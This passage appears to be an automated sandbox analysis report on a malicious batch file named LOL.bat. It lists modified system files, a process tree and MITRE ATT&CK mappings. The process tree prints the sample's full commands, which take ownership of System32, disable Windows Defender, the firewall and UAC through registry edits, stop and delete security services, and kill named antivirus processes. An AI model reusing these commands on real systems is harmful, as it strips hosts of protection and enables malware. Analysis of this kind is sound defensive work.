Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\netfol.ico cmd.exe File opened for modification C:\PROGRA~1\WI8A19~1\en-US\ImagingDevices.exe.mui cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~2.0_X\RESOUR~1.PRI cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\UEV\INBOXT~1\MicrosoftOffice2010Win64.xml cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\en-US\TipTsf.dll.mui cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\fsdefinitions\oskmenu\oskmenubase.xml cmd.exe File opened for modification C:\PROGRA~2\COMMON~1\System\ado\msadomd.dll cmd.exe File opened for modification C:\PROGRA~2\WINDOW~4\WMPNSSUI.dll cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\gl-ES\tipresx.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\MEDIAR~1\RenderingControl_DMP.xml cmd.exe File opened for modification C:\PROGRA~2\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\Set-TestInconclusive.ps1 cmd.exe File opened for modification C:\PROGRA~2\WindowsPowerShell\Modules\Pester\3.4.0\Functions\GlobalMock-B.Tests.ps1 cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\kok-IN\tipresx.dll.mui cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\fr\System.Data.Entity.Design.Resources.dll cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\MIC94E~1.XML cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.0\es\PresentationBuildTasks.resources.dll cmd.exe File opened for modification C:\PROGRA~1\WINDOW~1\de-DE\ProtectionManagement.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\CONTRA~2\WID7E7~1.PNG cmd.exe File opened for modification C:\PROGRA~2\REFERE~1\MICROS~1\FRAMEW~1\v3.5\ja\Microsoft.Build.Utilities.v3.5.resources.dll cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\1527C7~1.100\ACTIVA~1.LOG cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\C5E252~1.1_N\MACHIN~1.PCK cmd.exe File opened for modification C:\PROGRA~3\MICROS~1\Windows\AppRepository\Packages\MI7A83~1.0_X\ACTIVA~1.DAT cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\fsdefinitions\main\base.xml cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\System\msadc\msdaprst.dll cmd.exe File opened for modification C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.0\System.IO.Log.dll cmd.exe File opened for modification C:\PROGRA~1\WINDOW~1\endpointdlp.dll cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\de-DE\wmpnscfg.exe.mui cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\WIE1C9~1.PNG cmd.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\ink\en-US\micaut.dll.mui cmd.exe File opened for modification C:\PROGRA~2\COMMON~1\System\Ole DB\msdaps.dll cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\it-IT\tabskb.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WINDOW~4\ja-JP\wmpnssci.dll.mui cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\WI8101~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Mock.ps1 cmd.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\ink\penchs.dll cmd.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\SystemApps\LKG\MICROS~1.SEA\Cortana.UI\cache\WV2Local\DESKTO~1\21.js cmd.exe File opened for modification C:\Windows\WinSxS\AM6BBA~1.159\r\ntprint.inf cmd.exe File opened for modification C:\Windows\WinSxS\AMEE52~1.1_I\LOCATI~1.ADM cmd.exe File opened for modification C:\Windows\WinSxS\AM3131~1.159\PO6D66~1.PPK cmd.exe File opened for modification C:\Windows\WinSxS\AME659~1.1_N\cross_r.cur cmd.exe File opened for modification C:\Windows\WinSxS\AM0934~1.1_N\PRESEN~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AME1A7~3.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM5DCD~1.MAN cmd.exe File opened for modification C:\Windows\UUS\amd64\MusUxToastHandler.dll cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\$$0119~1.CDF cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMADF2~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM3B7A~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WOC17B~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\WO9D92~1.159\r\APPXDE~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\WOE32B~1.1_N\iashlpr.dll cmd.exe File opened for modification C:\Windows\WinSxS\X89D91~1.1_N\F12SCR~1.DLL cmd.exe File opened for modification C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Assets\StoreLogo.scale-100.png cmd.exe File opened for modification C:\Windows\WinSxS\AM0448~1.159\COMCTL~1.MUI cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMC676~1.MAN cmd.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchUx.UI.dll cmd.exe File opened for modification C:\Windows\WinSxS\AMC08D~1.115\r\HIDINT~1.SYS cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\$$2518~1.CDF cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\amd64_microsoft-windows-ie-internetexplorer_31bf3856ad364e35_11.0.26100.1150_none_0f016472f35d0135.manifest cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM6C02~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\WO8106~1.1_E\MSFT_P~1.PSD cmd.exe File opened for modification C:\Windows\WinSxS\X8D923~1.0_N\CVTRES~1.CON cmd.exe File opened for modification C:\Windows\Globalization\Sorting\SortWindows64.nls cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AME46F~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AME64E~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\X87228~1.159\COMCTL~1.MUI cmd.exe File opened for modification C:\Windows\rescache\_merged\220373~1\192185~1.PRI cmd.exe File opened for modification C:\Windows\SystemApps\LKG\MICROS~1.SEA\Cortana.UI\cache\WV2Local\DESKTO~1\27.js cmd.exe File opened for modification C:\Windows\WinSxS\Backup\AM6CC7~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM5D5F~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM8271~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\X835B1~1.MAN cmd.exe File opened for modification C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\AccountControl\assets\strings\ug-CN.json cmd.exe File opened for modification C:\Windows\WinSxS\AM3C07~1.0_J\NLSLEX~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\AME10B~1.159\r\Photon\Public\wsxpacks\STARTM~1\assets\strings\SR-LAT~1.JSO cmd.exe File opened for modification C:\Windows\WinSxS\Backup\AMD64_~4.DLL cmd.exe File opened for modification C:\Windows\WinSxS\Backup\AMA684~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\$$132A~1.CDF cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AMD8DA~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WOB6E3~1.MAN cmd.exe File opened for modification C:\Windows\Resources\Ease of Access Themes\hcblack.theme cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WO9D31~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MS256C~1.1_F\MICROS~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\WO70BE~1.159\r\fwbase.dll cmd.exe File opened for modification C:\Windows\WinSxS\X8C7AC~1.1_E\INSTAL~1.DLL cmd.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\de\System.ComponentModel.Composition.resources.dll cmd.exe File opened for modification C:\Windows\WinSxS\AMC16F~1.1_J\REMOTE~1.MUI cmd.exe File opened for modification C:\Windows\WinSxS\AME10B~1.159\Photon\Public\wsxpacks\SETTIN~1\en-GB\SETTIN~3.TXT cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\$$8582~1.CDF cmd.exe File opened for modification C:\Windows\WinSxS\FileMaps\US865A~1.CDF cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM6F1A~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\WOA874~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\x86_netfx-mscorlib_tlb2_b03f5f7f11d50a3a_10.0.26100.1_none_a291727d2d7da4df.manifest cmd.exe File opened for modification C:\Windows\servicing\Packages\MI5834~1.MUM cmd.exe File opened for modification C:\Windows\WinSxS\AM73FD~1.1_N\DATATR~1.CSS cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM394B~2.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\AM5A88~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\MANIFE~1\X80D28~1.MAN cmd.exe File opened for modification C:\Windows\WinSxS\WO892A~1.1_N\MICROS~1.DLL cmd.exe File opened for modification C:\Windows\WinSxS\X8DE1E~1.1_N\SYSTEM~1.DLL cmd.exe - Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3784 sc.exe - Kills process with taskkill 13 IoCs
pid Process 5172 taskkill.exe 2788 taskkill.exe 5644 taskkill.exe 1668 taskkill.exe 1912 taskkill.exe 2200 taskkill.exe 4968 taskkill.exe 3536 taskkill.exe 2160 taskkill.exe 2568 taskkill.exe 5816 taskkill.exe 5796 taskkill.exe 688 taskkill.exe - Runs net.exe
- Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 2412 takeown.exe Token: SeDebugPrivilege 2788 taskkill.exe Token: SeDebugPrivilege 3536 taskkill.exe Token: SeDebugPrivilege 2160 taskkill.exe Token: SeDebugPrivilege 2568 taskkill.exe Token: SeDebugPrivilege 5816 taskkill.exe Token: SeDebugPrivilege 5796 taskkill.exe Token: SeDebugPrivilege 5644 taskkill.exe Token: SeDebugPrivilege 1668 taskkill.exe Token: SeDebugPrivilege 688 taskkill.exe Token: SeDebugPrivilege 5172 taskkill.exe Token: SeDebugPrivilege 1912 taskkill.exe Token: SeDebugPrivilege 2200 taskkill.exe Token: SeDebugPrivilege 4968 taskkill.exe - Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 3192 wrote to memory of 2412 3192 cmd.exe 89 PID 3192 wrote to memory of 2612 3192 cmd.exe 91 PID 3192 wrote to memory of 5828 3192 cmd.exe 92 PID 3192 wrote to memory of 1332 3192 cmd.exe 93 PID 3192 wrote to memory of 1404 3192 cmd.exe 94 PID 3192 wrote to memory of 2456 3192 cmd.exe 95 PID 3192 wrote to memory of 4512 3192 cmd.exe 96 PID 3192 wrote to memory of 1340 3192 cmd.exe 97 PID 3192 wrote to memory of 5364 3192 cmd.exe 98 PID 3192 wrote to memory of 5096 3192 cmd.exe 99 PID 3192 wrote to memory of 4996 3192 cmd.exe 100 PID 4996 wrote to memory of 408 4996 net.exe 101 PID 3192 wrote to memory of 124 3192 cmd.exe 102 PID 124 wrote to memory of 252 124 net.exe 103 PID 3192 wrote to memory of 5144 3192 cmd.exe 104 PID 5144 wrote to memory of 1216 5144 net.exe 105 PID 3192 wrote to memory of 4700 3192 cmd.exe 106 PID 4700 wrote to memory of 700 4700 net.exe 107 PID 3192 wrote to memory of 3256 3192 cmd.exe 108 PID 3256 wrote to memory of 4308 3256 net.exe 109 PID 3192 wrote to memory of 3784 3192 cmd.exe 110 PID 3192 wrote to memory of 2788 3192 cmd.exe 111 PID 3192 wrote to memory of 3536 3192 cmd.exe 113 PID 3192 wrote to memory of 2160 3192 cmd.exe 114 PID 3192 wrote to memory of 2568 3192 cmd.exe 115 PID 3192 wrote to memory of 5816 3192 cmd.exe 116 PID 3192 wrote to memory of 5796 3192 cmd.exe 117 PID 3192 wrote to memory of 5644 3192 cmd.exe 118 PID 3192 wrote to memory of 1668 3192 cmd.exe 119 PID 3192 wrote to memory of 688 3192 cmd.exe 120 PID 3192 wrote to memory of 5172 3192 cmd.exe 121 PID 3192 wrote to memory of 1912 3192 cmd.exe 122 PID 3192 wrote to memory of 2200 3192 cmd.exe 123 PID 3192 wrote to memory of 4968 3192 cmd.exe 124 PID 3192 wrote to memory of 3944 3192 cmd.exe 125 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3944 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LOL.bat"1⤵
- Drops file in Drivers directory
- Manipulates Digital Signatures
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32" /r /d y2⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant *S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2612
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant administrators:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5828
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32" /grant system:F /t2⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1332
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:1404
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:2456
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4512
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1340
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
PID:5364
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
PID:5096
-
-
C:\Windows\system32\net.exenet stop windefend /y2⤵
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop windefend /y3⤵PID:408
-
-
-
C:\Windows\system32\net.exenet stop wscsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:124 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y3⤵PID:252
-
-
-
C:\Windows\system32\net.exenet stop msmpsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:5144 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop msmpsvc /y3⤵PID:1216
-
-
-
C:\Windows\system32\net.exenet stop mpsdrv /y2⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mpsdrv /y3⤵PID:700
-
-
-
C:\Windows\system32\net.exenet stop BFE /y2⤵
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BFE /y3⤵PID:4308
-
-
-
C:\Windows\system32\sc.exesc delete windefend2⤵
- Launches sc.exe
PID:3784
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im av*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2788
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im defender*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msmpeng*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2160
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im sentinel*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2568
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im crowdstrike*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5816
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cylance*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5796
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im sophos*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5644
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avg*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1668
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im avast*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:688
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im kaspersky*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5172
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im norton*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im mcafee*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2200
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im bitdefender*2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4968
-
-
C:\Windows\System32\attrib.exeattrib -r -s -h *.* /s /d2⤵
- Drops file in Drivers directory
- Manipulates Digital Signatures
- Boot or Logon Autostart Execution: Print Processors
- Indicator Removal: Clear Windows Event Logs
- Drops file in System32 directory
- Modifies termsrv.dll
- Views/modifies file attributes
PID:3944
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Print Processors
1Create or Modify System Process
4Windows Service
4Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Print Processors
1Create or Modify System Process
4Windows Service
4Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
5Disable or Modify System Firewall
1Disable or Modify Tools
3Indicator Removal
1Clear Windows Event Logs
1Modify Registry
4